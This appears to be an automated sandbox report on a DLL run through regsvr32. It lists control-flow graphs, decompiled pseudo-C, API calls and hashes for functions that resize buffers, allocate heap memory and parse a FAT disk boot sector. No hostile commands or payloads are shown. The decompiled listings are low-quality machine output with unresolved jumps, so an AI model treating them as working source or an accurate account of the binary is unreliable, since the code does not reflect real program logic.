                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 00000001800010C0 Relevance: 1.6, APIs: 1, Instructions: 80COMMON
                                                                                                        Download Yara Rule

                                                                                                        Control-flow Graph

                                                                                                        • Executed
                                                                                                        • Not Executed
                                                                                                        control_flow_graph 842 1800010c0-180001216 call 1800021b4 call 18002596c 849 180001218-180001253 842->849 850 180001270-1800012bc call 180015e10 * 2 842->850 853 180001255 call 180001084 849->853 854 18000125f-180001262 849->854 861 18000125a-18000125d 853->861 858 180001264 call 180014850 854->858 859 18000126b 854->859 864 180001269 858->864 863 18000126d 859->863 861->863 863->850 864->861
                                                                                                        C-Code - Quality: 37%
                                                                                                        			E000000011800010C0(long long __rbx, long long* __rcx, signed int __rdx, long long __rsi, long long __rbp, void* __r9, long long _a8, long long _a16, long long _a24) {
				void* _t16;
				long long _t29;
				unsigned long long _t48;
				long long* _t52;
				long long _t54;
				unsigned long long _t65;

				_a8 = __rbx;
				_a16 = __rbp;
				_a24 = __rsi;
				_t52 = __rcx;
				if (__rdx - 0xffffffff > 0) goto 0x800011c0;
				_t65 =  *((intOrPtr*)(__rcx + 0x18));
				if ((__rdx | 0x0000000f) - 0xffffffff <= 0) goto 0x80001110;
				goto 0x8000113c;
				_t48 = _t65 >> 1;
				if (_t65 - 0xffffffff - _t48 > 0) goto 0x80001104;
				_t29 = _t48 + _t65;
				_t35 =  <  ? _t29 : 0;
				if (0x8000000000000001 - 0x1000 < 0) goto 0x80001146;
				0x80001084();
				_t54 = _t29;
				goto 0x80001154;
				if (0x8000000000000001 == 0) goto 0x80001152;
				_t16 = E00000001180014850(_t29, 0x8000000000000001);
				goto 0x80001141;
				 *((long long*)(_t52 + 0x10)) = __rdx;
				 *((long long*)(_t52 + 0x18)) =  <  ? _t29 : 0;
				E00000001180015E10();
				 *((char*)(_t54 + __rdx)) = 0;
				if (_t65 - 0x10 < 0) goto 0x800011a1;
				_t43 =  *_t52;
				if (_t65 + 1 - 0x1000 < 0) goto 0x8000119c;
				if ( *_t52 -  *((intOrPtr*)(_t43 - 8)) - 8 - 0x1f > 0) goto 0x800011c6;
				0x8001488c();
				 *_t52 = _t54;
				return _t16;
			}









                                                                                                        0x1800010c0
                                                                                                        0x1800010c5
                                                                                                        0x1800010ca
                                                                                                        0x1800010e8
                                                                                                        0x1800010ee
                                                                                                        0x1800010f4
                                                                                                        0x180001102
                                                                                                        0x18000110e
                                                                                                        0x180001116
                                                                                                        0x18000111f
                                                                                                        0x180001121
                                                                                                        0x18000112b
                                                                                                        0x18000113a
                                                                                                        0x18000113c
                                                                                                        0x180001141
                                                                                                        0x180001144
                                                                                                        0x180001149
                                                                                                        0x18000114b
                                                                                                        0x180001150
                                                                                                        0x180001157
                                                                                                        0x18000115e
                                                                                                        0x180001165
                                                                                                        0x18000116a
                                                                                                        0x180001172
                                                                                                        0x180001174
                                                                                                        0x180001182
                                                                                                        0x180001197
                                                                                                        0x18000119c
                                                                                                        0x1800011a1
                                                                                                        0x1800011bf

                                                                                                        APIs
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: _invalid_parameter_noinfo_noreturn
                                                                                                        • String ID:
                                                                                                        • API String ID: 3668304517-0
                                                                                                        • Opcode ID: 2aec8904ca44af6225401bffd7a723f31ea07ef0e5871541123be6d2aec47d92
                                                                                                        • Instruction ID: a02f45d43a0b8f0756b207fd00b0c2b15b407792df3d813ffeefd55309c49ce4
                                                                                                        • Opcode Fuzzy Hash: 2aec8904ca44af6225401bffd7a723f31ea07ef0e5871541123be6d2aec47d92
                                                                                                        • Instruction Fuzzy Hash: F331A232204B88C6EB55DF52A4403DAB7A5F349BE0F588621FFA84BBD6CF78D2558340
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 00000001800645EC Relevance: 1.5, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE
                                                                                                        Download Yara Rule

                                                                                                        Control-flow Graph

                                                                                                        • Executed
                                                                                                        • Not Executed
                                                                                                        control_flow_graph 865 1800645ec-1800645fb 866 1800645fd-180064609 865->866 867 18006460b-18006461b 865->867 866->867 868 18006464e-180064659 call 18005b354 866->868 869 180064632-18006464a RtlAllocateHeap 867->869 874 18006465b-180064660 868->874 870 18006461d-180064624 call 18006c7c0 869->870 871 18006464c 869->871 870->868 877 180064626-180064630 call 180055de0 870->877 871->874 877->868 877->869
                                                                                                        C-Code - Quality: 44%
                                                                                                        			E000000011800645EC(void* __eax, signed int __rcx, signed int __rdx, void* __r10) {
				void* __rbx;
				intOrPtr* _t22;
				signed int _t29;

				_t29 = __rdx;
				if (__rcx == 0) goto 0x8006460b;
				_t1 = _t29 - 0x20; // -32
				_t22 = _t1;
				if (_t22 - __rdx < 0) goto 0x8006464e;
				_t25 =  ==  ? _t22 : __rcx * __rdx;
				goto 0x80064632;
				if (E0000000118006C7C0() == 0) goto 0x8006464e;
				if (E00000001180055DE0(_t22,  ==  ? _t22 : __rcx * __rdx,  ==  ? _t22 : __rcx * __rdx) == 0) goto 0x8006464e;
				RtlAllocateHeap(??, ??, ??); // executed
				if (_t22 == 0) goto 0x8006461d;
				goto 0x8006465b;
				E0000000118005B354(_t22, _t22);
				 *_t22 = 0xc;
				return 0;
			}






                                                                                                        0x1800645ec
                                                                                                        0x1800645fb
                                                                                                        0x1800645ff
                                                                                                        0x1800645ff
                                                                                                        0x180064609
                                                                                                        0x180064617
                                                                                                        0x18006461b
                                                                                                        0x180064624
                                                                                                        0x180064630
                                                                                                        0x180064641
                                                                                                        0x18006464a
                                                                                                        0x18006464c
                                                                                                        0x18006464e
                                                                                                        0x180064653
                                                                                                        0x180064660

                                                                                                        APIs
                                                                                                        • RtlAllocateHeap.NTDLL(?,?,00000000,0000000180058D8A,?,?,?,000000018005B35D,?,?,?,?,000000018005BC14), ref: 0000000180064641
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: AllocateHeap
                                                                                                        • String ID:
                                                                                                        • API String ID: 1279760036-0
                                                                                                        • Opcode ID: c4407f61a2fb1de8f613985259ce97b473c805450b0d269d179d4a6ce424fad2
                                                                                                        • Instruction ID: ae75e76b8b72701925369f41cedbb4eebe24167beb1dddba3ddeef9f894800de
                                                                                                        • Opcode Fuzzy Hash: c4407f61a2fb1de8f613985259ce97b473c805450b0d269d179d4a6ce424fad2
                                                                                                        • Instruction Fuzzy Hash: F7F06D7230130C41FEEB9B61DD513E912965B4EBC0F2CD020792A8A2C1EF2CC6898722
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 000000018005B560 Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 44%
                                                                                                        			E0000000118005B560(intOrPtr* __rax, void* __rcx, void* __r10) {
				void* __rbx;

				if (__rcx - 0xffffffe0 > 0) goto 0x8005b5ab;
				_t16 =  ==  ? __rax : __rcx;
				goto 0x8005b592;
				if (E0000000118006C7C0() == 0) goto 0x8005b5ab;
				if (E00000001180055DE0(__rax,  ==  ? __rax : __rcx,  ==  ? __rax : __rcx) == 0) goto 0x8005b5ab;
				RtlAllocateHeap(??, ??, ??); // executed
				if (__rax == 0) goto 0x8005b57d;
				goto 0x8005b5b8;
				E0000000118005B354(__rax, __rax);
				 *__rax = 0xc;
				return 0;
			}




                                                                                                        0x18005b56d
                                                                                                        0x18005b577
                                                                                                        0x18005b57b
                                                                                                        0x18005b584
                                                                                                        0x18005b590
                                                                                                        0x18005b59e
                                                                                                        0x18005b5a7
                                                                                                        0x18005b5a9
                                                                                                        0x18005b5ab
                                                                                                        0x18005b5b0
                                                                                                        0x18005b5bd

                                                                                                        APIs
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: AllocateHeap
                                                                                                        • String ID:
                                                                                                        • API String ID: 1279760036-0
                                                                                                        • Opcode ID: ea1ee0abc2cee6aca86626560c185d1ef4e615c4e0557689066d35a7cd4530a3
                                                                                                        • Instruction ID: 93abadfb77c87c2f90b9b2a6d05bb4ce5e5dac77b7cfea951f482df110ef4c16
                                                                                                        • Opcode Fuzzy Hash: ea1ee0abc2cee6aca86626560c185d1ef4e615c4e0557689066d35a7cd4530a3
                                                                                                        • Instruction Fuzzy Hash: DEF08C71314A0C85FEEA5B7158413E812905B8C7E1F48C3207D2AE62C1EE2AE6498360
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180014850 Relevance: 1.5, APIs: 1, Instructions: 21COMMONLIBRARYCODE
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: Concurrency::cancel_current_taskstd::bad_alloc::bad_alloc
                                                                                                        • String ID:
                                                                                                        • API String ID: 680105476-0
                                                                                                        • Opcode ID: 11222d9b2aa3503c2c47af963c3a37bf6fffbbc6287ce56323b47669b27b50b3
                                                                                                        • Instruction ID: b5450e665d2bba0422cdd548626342c85c1bec550ad11578cfe3d3b1a0b8d0f9
                                                                                                        • Opcode Fuzzy Hash: 11222d9b2aa3503c2c47af963c3a37bf6fffbbc6287ce56323b47669b27b50b3
                                                                                                        • Instruction Fuzzy Hash: 6BE01232A0194D91FFEB36A214263E801440B5D7F2E2CD720BD750D2E2AD14869E8310
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Non-executed Functions

                                                                                                        Function 0000000180010488 Relevance: 86.3, APIs: 6, Strings: 43, Instructions: 570fileCOMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 66%
                                                                                                        			E00000001180010488(void* __ecx, void* __edi, void* __esp, long long __rbx, void* __rcx, void* __rdx, signed long long __r8, signed int __r10) {
				void* __rsi;
				intOrPtr _t212;
				intOrPtr _t278;
				signed int _t294;
				signed int _t296;
				long _t300;
				void* _t310;
				signed int _t311;
				signed long long _t396;
				signed long long _t397;
				signed long long _t398;
				long long _t399;
				signed long long _t419;
				unsigned long long _t422;
				signed long long _t426;
				void* _t503;
				void* _t507;
				void* _t510;
				struct _OVERLAPPED* _t512;
				void* _t515;
				signed long long _t520;
				signed long long _t521;
				unsigned long long _t524;
				void* _t526;
				signed char* _t527;
				void* _t529;
				signed long long _t530;
				signed long long _t532;
				signed long long _t533;
				signed long long _t542;
				long long _t547;
				long long _t550;
				long long _t602;
				DWORD* _t603;
				long _t607;
				void* _t608;
				void* _t610;
				void* _t611;
				void* _t613;
				unsigned long long _t614;

				_t532 = __r8;
				_t433 = __rbx;
				_t310 = __ecx;
				 *((long long*)(_t529 + 0x18)) = __rbx;
				_t527 = _t529 - 0x7d0;
				_t530 = _t529 - 0x8d0;
				_t396 =  *0x800d81f8; // 0x68308725f9ca
				_t397 = _t396 ^ _t530;
				_t527[0x7c0] = _t397;
				_t611 = __rdx;
				_t608 = __rcx;
				E00000001180005CCC();
				_t513 = _t397;
				_t503 = _t527 - 0x40;
				_t398 = _t527 - 0x68;
				r12d = 0;
				r15d = 0x200;
				 *(_t530 + 0x20) = _t398;
				r8d = r15d;
				 *(_t527 - 0x58) = _t603;
				 *(_t527 - 0x50) = _t603;
				if (ReadFile(_t613, _t610, _t607, _t603, _t512) == 0) goto 0x80010d62;
				if ( *(_t530 + 0x30) != r15d) goto 0x80010d62;
				if (_t527[0x1be] != 0xaa55) goto 0x80010d56;
				_t212 =  *((intOrPtr*)(_t527 - 0x40));
				if (_t212 != 0xeb) goto 0x80010528;
				if ( *((char*)(_t527 - 0x3e)) == 0x90) goto 0x80010530;
				if (_t212 != 0xe9) goto 0x80010d56;
				 *(_t530 + 0x40) = _t398;
				if (_t398 != 0) goto 0x80010559;
				r8d = 0;
				_t17 = _t532 + 2; // 0x2
				E00000001180004968(_t310, _t17, _t398, _t397, _t503, __r8, L"This is not a FAT disk (BytesPerSector is zero).", _t515);
				goto 0x80010da0;
				r10d =  *(_t527 - 0x33) & 0x000000ff;
				 *(_t530 + 0x48) = __r10;
				if (__r10 != 0) goto 0x80010571;
				_t547 = L"This is not a FAT disk (SectorsPerCluster is zero).";
				goto 0x80010545;
				r9d =  *(_t527 - 0x2d) & 0x0000ffff;
				 *((long long*)(_t530 + 0x50)) = _t547;
				if (_t547 != 0) goto 0x80010589;
				r9d =  *(_t527 - 0x20);
				 *((long long*)(_t530 + 0x50)) = _t547;
				_t311 =  *(_t527 - 0x35) & 0x0000ffff;
				asm("cdq");
				_t602 = ((( *(_t527 - 0x2f) & 0x0000ffff) << 5) - 1 + _t311) / _t311;
				 *((long long*)(_t530 + 0x58)) = _t602;
				 *(_t530 + 0x68) = _t398;
				if (_t398 != 0) goto 0x800105b9;
				 *(_t530 + 0x68) = _t398;
				r8d =  *(_t527 - 0x30) & 0x000000ff;
				_t533 = _t532 * _t398;
				_t550 = _t547 - _t503 - _t533 - _t602;
				_t399 = _t550;
				 *((long long*)(_t530 + 0x70)) = _t550;
				 *((long long*)(_t530 + 0x60)) = _t503 + _t533 + _t602;
				 *((long long*)(_t530 + 0x78)) = _t399;
				if (_t399 - 0xff5 >= 0) goto 0x80010609;
				 *((intOrPtr*)(_t611 + 0x108)) = 0xc;
				goto 0x80010637;
				if (_t399 - 0xfff5 >= 0) goto 0x80010625;
				 *((intOrPtr*)(_t611 + 0x108)) = 0x10;
				goto 0x80010637;
				 *((intOrPtr*)(_t611 + 0x108)) = 0x20;
				r8d = 0;
				E00000001180004968(_t311, 0, _t399, _t397, _t503, _t533, L"This is a FAT32 disk.", _t526);
				_t534 = _t527 - 0x3d;
				 *(_t611 + 0x1a0) =  *(_t530 + 0x48) *  *(_t530 + 0x40);
				r9d = 8;
				_t504 = _t613;
				 *((long long*)(_t611 + 0x198)) =  *((intOrPtr*)(_t530 + 0x78));
				E00000001180055C88( *((intOrPtr*)(_t530 + 0x78)), __rbx,  &(_t527[0x1c0]), _t613, _t515, _t527 - 0x3d, L"This is a FAT32 disk.");
				_t527[0x1c8] = r12b;
				_t57 = _t515 - 6; // 0x2
				_t309 = _t57;
				 *(_t530 + 0x20) =  &(_t527[0x1c0]);
				r8d = 0;
				E00000001180004968(_t311, _t57,  &(_t527[0x1c0]), _t397, _t613, _t527 - 0x3d, L"  OEMName: %S");
				r8d = 0;
				 *(_t530 + 0x20) =  *(_t530 + 0x40);
				E00000001180004968(_t311, _t57,  *(_t530 + 0x40), _t513, _t613, _t527 - 0x3d, L"  BytesPerSector: %I64u");
				r8d = 0;
				 *(_t530 + 0x20) =  *((intOrPtr*)(_t530 + 0x50));
				E00000001180004968(_t311, _t57,  *((intOrPtr*)(_t530 + 0x50)), _t513, _t613, _t527 - 0x3d, L"  TotalSectors: %I64u");
				r8d = 0;
				 *(_t530 + 0x20) =  *(_t530 + 0x48);
				E00000001180004968(_t311, _t309,  *(_t530 + 0x48), _t513, _t613, _t527 - 0x3d, L"  SectorsPerCluster: %I64u");
				r8d = 0;
				 *(_t530 + 0x20) =  *((intOrPtr*)(_t530 + 0x58));
				E00000001180004968(_t311, _t309,  *((intOrPtr*)(_t530 + 0x58)), _t513, _t504, _t534, L"  RootDirSectors: %I64u");
				r8d = 0;
				 *(_t530 + 0x20) =  *(_t530 + 0x68);
				E00000001180004968(_t311, _t309,  *(_t530 + 0x68), _t513, _t504, _t534, L"  FATSz: %I64u");
				r8d = 0;
				 *(_t530 + 0x20) =  *((intOrPtr*)(_t530 + 0x60));
				E00000001180004968(_t311, _t309,  *((intOrPtr*)(_t530 + 0x60)), _t513, _t504, _t534, L"  FirstDataSector: %I64u");
				r8d = 0;
				 *(_t530 + 0x20) =  *((intOrPtr*)(_t530 + 0x70));
				E00000001180004968(_t311, _t309,  *((intOrPtr*)(_t530 + 0x70)), _t513, _t504, _t534, L"  DataSec: %I64u");
				_t411 =  *((intOrPtr*)(_t530 + 0x78));
				r8d = 0;
				 *(_t530 + 0x20) =  *((intOrPtr*)(_t530 + 0x78));
				E00000001180004968(_t311, _t309,  *((intOrPtr*)(_t530 + 0x78)), _t513, _t504, _t534, L"  CountofClusters: %I64u");
				 *(_t530 + 0x20) =  *(_t527 - 0x32) & 0x0000ffff;
				r8d = 0;
				E00000001180004968(_t311, _t309,  *((intOrPtr*)(_t530 + 0x78)), _t513, _t504, _t534, L"  ReservedSectors: %lu");
				r8d = 0;
				 *(_t530 + 0x20) =  *(_t527 - 0x30) & 0x000000ff;
				E00000001180004968(_t311, _t309,  *((intOrPtr*)(_t530 + 0x78)), _t513, _t504, _t534, L"  NumberFATs: %lu");
				r8d = 0;
				 *(_t530 + 0x20) =  *(_t527 - 0x2f) & 0x0000ffff;
				E00000001180004968(_t311, _t309,  *((intOrPtr*)(_t530 + 0x78)), _t513, _t504, _t534, L"  RootEntriesCount: %lu");
				r8d = 0;
				 *(_t530 + 0x20) =  *(_t527 - 0x2b) & 0x000000ff;
				E00000001180004968(_t311, _t309, _t411, _t513, _t504, _t534, L"  MediaType: %X");
				r8d = 0;
				 *(_t530 + 0x20) =  *(_t527 - 0x28) & 0x0000ffff;
				E00000001180004968(_t311, _t309, _t411, _t513, _t504, _t534, L"  SectorsPerTrack: %lu");
				r8d = 0;
				 *(_t530 + 0x20) =  *(_t527 - 0x26) & 0x0000ffff;
				E00000001180004968(_t311, _t309, _t411, _t513, _t504, _t534, L"  NumberOfHeads: %lu");
				r8d = 0;
				 *(_t530 + 0x20) =  *(_t527 - 0x24);
				E00000001180004968(_t311, _t309, _t411, _t513, _t504, _t534, L"  HiddenSectors: %lu");
				r8d = 0;
				if ( *((intOrPtr*)(_t611 + 0x108)) == 0x20) goto 0x80010902;
				 *(_t530 + 0x20) =  *(_t527 - 0x1c) & 0x000000ff;
				E00000001180004968(_t311, _t309, _t411, _t513, _t504, _t534, L"  BS_DrvNum: %u");
				r8d = 0;
				 *(_t530 + 0x20) =  *(_t527 - 0x1a) & 0x000000ff;
				E00000001180004968(_t311, _t309, _t411, _t513, _t504, _t534, L"  BS_BootSig: %u");
				r8d = 0;
				 *(_t530 + 0x20) =  *(_t527 - 0x19);
				E00000001180004968(_t311, _t309, _t411, _t513, _t504, _t534, L"  BS_VolID: %u");
				_t96 = _t515 + 3; // 0xb
				r9d = _t96;
				_t505 = _t613;
				E00000001180055C88(_t411, _t433,  &(_t527[0x1c0]), _t613, _t515, _t527 - 0x15, L"  BS_VolID: %u");
				_t412 =  &(_t527[0x1c0]);
				_t527[0x1cb] = r12b;
				 *(_t530 + 0x20) =  &(_t527[0x1c0]);
				r8d = 0;
				E00000001180004968(_t311, _t309,  &(_t527[0x1c0]), _t513, _t613, _t527 - 0x15, L"  VolLab: %S");
				_t536 = _t527 - 0xa;
				goto 0x80010a37;
				 *(_t530 + 0x20) =  *(_t527 - 0x1c);
				E00000001180004968(_t311, _t309,  &(_t527[0x1c0]), _t513, _t613, _t527 - 0xa, L"  FATSz32: %lu");
				r8d = 0;
				 *(_t530 + 0x20) =  *(_t527 - 0x18) & 0x0000ffff;
				E00000001180004968(_t311, _t309,  &(_t527[0x1c0]), _t513, _t613, _t527 - 0xa, L"  ExtFlags: %lu");
				r8d = 0;
				 *(_t530 + 0x20) =  *(_t527 - 0x16) & 0x0000ffff;
				E00000001180004968(_t311, _t309,  &(_t527[0x1c0]), _t513, _t613, _t527 - 0xa, L"  FSVer: %lu");
				r8d = 0;
				 *(_t530 + 0x20) =  *(_t527 - 0x14);
				E00000001180004968(_t311, _t309, _t412, _t513, _t505, _t527 - 0xa, L"  RootClus: %lu");
				r8d = 0;
				 *(_t530 + 0x20) =  *(_t527 - 0x10) & 0x0000ffff;
				E00000001180004968(_t311, _t309, _t412, _t513, _t505, _t527 - 0xa, L"  FSInfo: %lu");
				r8d = 0;
				 *(_t530 + 0x20) =  *(_t527 - 0xe) & 0x0000ffff;
				E00000001180004968(_t311, _t309, _t412, _t513, _t505, _t536, L"  BkBootSec: %lu");
				r8d = 0;
				 *(_t530 + 0x20) =  *_t527 & 0x000000ff;
				E00000001180004968(_t311, _t309, _t412, _t513, _t505, _t536, L"  DrvNum: %lu");
				r8d = 0;
				 *(_t530 + 0x20) = _t527[2] & 0x000000ff;
				E00000001180004968(_t311, _t309, _t412, _t513, _t505, _t536, L"  BootSig: %lu");
				r8d = 0;
				 *(_t530 + 0x20) = _t527[3];
				E00000001180004968(_t311, _t309, _t412, _t513, _t505, _t536, L"  VolID: %lu");
				r9d = 0xb;
				E00000001180055C88(_t412, _t433,  &(_t527[0x1c0]), _t613, _t515,  &(_t527[7]), L"  VolID: %lu");
				_t527[0x1cb] = r12b;
				 *(_t530 + 0x20) =  &(_t527[0x1c0]);
				r8d = 0;
				E00000001180004968(_t311, _t309,  &(_t527[0x1c0]), _t513, _t613,  &(_t527[7]), L"  VolLab: %S");
				_t507 = _t613;
				E00000001180055C88( &(_t527[0x1c0]), _t433,  &(_t527[0x1c0]), _t507, _t515,  &(_t527[0x12]), _t515);
				_t527[0x1c8] = r12b;
				 *(_t530 + 0x20) =  &(_t527[0x1c0]);
				r8d = 0;
				E00000001180004968(_t311, _t309,  &(_t527[0x1c0]), _t513, _t507,  &(_t527[0x12]), L"  FilSysType: %S");
				_t278 =  *((intOrPtr*)(_t611 + 0x108));
				if (_t278 == 0xc) goto 0x80010aaa;
				if (_t278 == 0x10) goto 0x80010a9b;
				if (_t278 != 0x20) goto 0x80010a95;
				goto 0x80010abd;
				goto 0x80010abd;
				goto 0x80010abd;
				_t520 =  *((intOrPtr*)(_t530 + 0x78)) + 1 + ( *((intOrPtr*)(_t530 + 0x78)) + 1 >> 1);
				_t419 = _t520;
				if (_t507 == 0) goto 0x80010ad5;
				_t521 = _t520 +  *(_t530 + 0x40) - _t507;
				0x80026bf8();
				r8d = 0;
				 *(_t527 - 0x80) = _t419;
				if (_t419 != 0) goto 0x80010af7;
				goto 0x8001054c;
				 *(_t527 - 0x50) = _t603;
				 *(_t530 + 0x28) = _t419 *  *(_t530 + 0x40);
				 *(_t527 - 0x54) = _t311;
				 *(_t527 - 0x58) =  *(_t527 - 0x32) & 0x0000ffff;
				 *(_t530 + 0x20) = _t521;
				E00000001180004968(_t311, _t309, _t419 *  *(_t530 + 0x40), _t513, _t507,  &(_t527[0x12]), L"Reading FAT, %lu bytes at offset=%I64u");
				r8d = 8;
				 *(_t530 + 0x20) = _t527 - 0x68;
				if (ReadFile(??, ??, ??, ??, ??) != 0) goto 0x80010b77;
				E0000000118000EFAC(GetLastError(), _t433,  &(_t527[0x3c0]), _t613);
				goto 0x80010d89;
				if ( *((intOrPtr*)(_t611 + 0x108)) != 0x20) goto 0x80010bde;
				r9d =  *(_t527 - 0x14);
				_t422 = _t527 - 0x70;
				 *(_t530 + 0x20) = _t422;
				E00000001180010E48(_t608, _t611, _t530 + 0x40, L"Error: %s");
				_t614 =  *((intOrPtr*)(_t527 - 0x70));
				 *(_t530 + 0x28) =  *(_t530 + 0x28) & 0x00000000;
				 *(_t530 + 0x20) = _t614;
				_t510 = _t611;
				E0000000118000FD40(_t311, _t309, __edi, __esp, _t608, _t510, _t530 + 0x40, _t422, __r10, _t602);
				E00000001180053D58(_t433, _t422, _t521);
				E00000001180053D58(_t433,  *(_t527 - 0x80), _t521);
				goto 0x80010da2;
				r15d =  *(_t527 - 0x2f) & 0x0000ffff;
				_t542 =  *(_t530 + 0x40);
				r15d = r15d << 5;
				_t524 = (_t521 *  *(_t530 + 0x68) + _t422) * _t542;
				if (_t614 - _t422 <= 0) goto 0x80010c32;
				 *(_t530 + 0x20) = _t614;
				r8d = 0;
				E00000001180004968(_t311, _t309, _t422, _t513, _t510, _t542, L"Root directory is too big, %I64u bytes");
				E00000001180053D58(_t433,  *(_t527 - 0x80), _t524);
				goto 0x80010da0;
				_t426 = ( *((intOrPtr*)(_t530 + 0x78)) + 1) *  *(_t530 + 0x48) * _t542;
				if (_t524 - _t426 <= 0) goto 0x80010c69;
				 *(_t530 + 0x28) = _t426;
				r8d = 0;
				 *(_t530 + 0x20) = _t524;
				_t294 = E00000001180004968(_t311, _t309, _t426, _t513, _t510, _t542, L"Trying to access %I64u, but the last sector is at %I64u");
				goto 0x80010c24;
				_t427 = _t614;
				 *(_t530 + 0x30) = _t311;
				if (_t510 == 0) goto 0x80010c89;
				_t314 = r8d - _t294 % _t542 + r15d;
				 *(_t530 + 0x30) = r8d - _t294 % _t542 + r15d;
				0x80026bf8();
				r8d = 0;
				if (_t614 != 0) goto 0x80010caf;
				_t296 = E00000001180004968(r8d - _t294 % _t542 + r15d, _t309, _t614, _t513, _t510, _t542, L"Error: malloc() returned NULL.");
				goto 0x80010c24;
				 *(_t527 - 0x50) =  *(_t527 - 0x50) & 0x00000000;
				 *(_t530 + 0x28) = _t524;
				 *(_t527 - 0x54) = _t296;
				 *(_t530 + 0x20) =  *(_t530 + 0x30);
				 *(_t527 - 0x58) =  *(_t527 - 0x30) & 0x000000ff;
				E00000001180004968(r8d - _t294 % _t542 + r15d, 6, _t524 >> 0x20, _t513, _t510, _t542, L"Reading root directory, %lu bytes at offset=%I64u.");
				r8d =  *(_t530 + 0x30);
				 *(_t530 + 0x20) = _t527 - 0x68;
				if (ReadFile(??, ??, ??, ??, ??) != 0) goto 0x80010ba5;
				_t300 = GetLastError();
				r9d = 0x200;
				E0000000118000EFAC(_t300, _t433,  &(_t527[0x3c0]), _t530 + 0x30);
				r8d = 0;
				 *(_t530 + 0x20) =  &(_t527[0x3c0]);
				E00000001180004968(r8d - _t294 % _t542 + r15d, _t309,  &(_t527[0x3c0]), _t513, _t427,  &(_t527[0x3c0]), L"Error: %s");
				E00000001180053D58(_t433,  *(_t527 - 0x80), _t524);
				goto 0x80010c28;
				goto 0x80010545;
				E0000000118000EFAC(GetLastError(), _t433,  &(_t527[0x3c0]), _t614);
				r8d = 0;
				 *(_t530 + 0x20) =  &(_t527[0x3c0]);
				E00000001180004968(r8d - _t294 % _t542 + r15d, 2,  &(_t527[0x3c0]), _t513, _t427,  &(_t527[0x3c0]), L"Error while reading bootblock: %s");
				return E000000011800149A0(0, _t314, _t527[0x7c0] ^ _t530);
			}











































                                                                                                        0x180010488
                                                                                                        0x180010488
                                                                                                        0x180010488
                                                                                                        0x180010488
                                                                                                        0x180010498
                                                                                                        0x1800104a0
                                                                                                        0x1800104a7
                                                                                                        0x1800104ae
                                                                                                        0x1800104b1
                                                                                                        0x1800104b8
                                                                                                        0x1800104bb
                                                                                                        0x1800104be
                                                                                                        0x1800104cc
                                                                                                        0x1800104cf
                                                                                                        0x1800104d3
                                                                                                        0x1800104d7
                                                                                                        0x1800104da
                                                                                                        0x1800104e0
                                                                                                        0x1800104e5
                                                                                                        0x1800104e8
                                                                                                        0x1800104ec
                                                                                                        0x1800104f8
                                                                                                        0x180010503
                                                                                                        0x180010515
                                                                                                        0x18001051b
                                                                                                        0x180010520
